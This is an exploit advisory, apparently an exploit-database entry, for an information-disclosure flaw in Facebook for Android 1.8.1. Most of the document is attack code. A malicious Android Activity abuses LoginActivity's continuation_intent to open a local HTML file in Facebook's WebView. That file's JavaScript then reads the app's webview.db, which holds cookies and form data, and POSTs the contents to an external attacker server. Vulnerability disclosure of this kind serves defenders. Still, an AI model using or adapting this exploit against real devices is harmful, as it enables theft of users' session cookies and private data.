Facebook for Android – ‘LoginActivity’ Information Disclosure
source: https://www.securityfocus.com/bid/57173/info Facebook for Android is prone to an information-disclosure vulnerability. Successful exploits allows an attacker to gain access to sensitive information. Information obtained may aid in further attacks. Facebook for Android 1.8.1 is vulnerable; other versions may also be affected. ++++++ Attacker's app (activity) ++++++ // notice: for a successful attack, the victim user must be logged-in // to Facebook in advance. public class AttackFacebook extends Activity { // package name of Facebook app static final String FB_PKG = "com.facebook.katana"; // LoginActivity of Facebook app static final String FB_LOGIN_ACTIVITY = FB_PKG + ".LoginActivity"; // FacebookWebViewActivity of Facebook app static final String FB_WEBVIEW_ACTIVITY = FB_PKG + ".view.FacebookWebViewActivity"; @Override public void onCreate(Bundle bundle) { super.onCreate(bundle); attack(); } // main method public void attack() { // create continuation_intent to call FacebookWebViewActivity. Intent contIntent = new Intent(); contIntent.setClassName(FB_PKG, FB_WEBVIEW_ACTIVITY); // URL pointing to malicious local file. // FacebookWebViewActivity will load this URL into its WebView. contIntent.putExtra("url", "file:///sdcard/attack.html"); // create intent to be sent to LoginActivity. Intent intent = new Intent(); intent.setClassName(FB_PKG, FB_LOGIN_ACTIVITY); intent.putExtra("login_redirect", false); // put continuation_intent into extra data of the intent. intent.putExtra(FB_PKG + ".continuation_intent", contIntent); // call LoginActivity this.startActivity(intent); } } ++++++ Attacker's HTML/JavaScript file ++++++ <!-- attacker's app should put this file to /sdcard/attack.html in advance --> <html> <body onload="doAttack()"> <h1>attack.html</h1> <script> // file path to steal. webview.db can be a good target for attackers // because it contains cookies, formdata etc. var target = "file:///data/data/com.facebook.katana/databases/webview.db"; // get the contents of the target file by XHR function doAttack() { var xhr1 = new XMLHttpRequest(); xhr1.overrideMimeType("text/plain; charset=iso-8859-1"); xhr1.open("GET", target); xhr1.onreadystatechange = function() { if (xhr1.readyState == 4) { var content = xhr1.responseText; // send the content of the file to attacker's server sendFileToAttackerServer(content); // for debug document.body.appendChild(document.createTextNode(content)); } }; xhr1.send(); } // Send the content of target file to the attacker's server function sendFileToAttackerServer(content) { var xhr2 = new XMLHttpRequest(); xhr2.open("POST", "http://www.example.jp/";); xhr2.send(encodeURIComponent(content)); } </script> </body> </html> |